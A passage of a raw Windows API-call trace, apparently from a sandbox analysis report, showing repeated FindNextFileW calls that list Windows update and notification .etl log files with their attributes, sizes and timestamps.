lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0109.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0109.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0109.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0109.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0109.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0109.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, 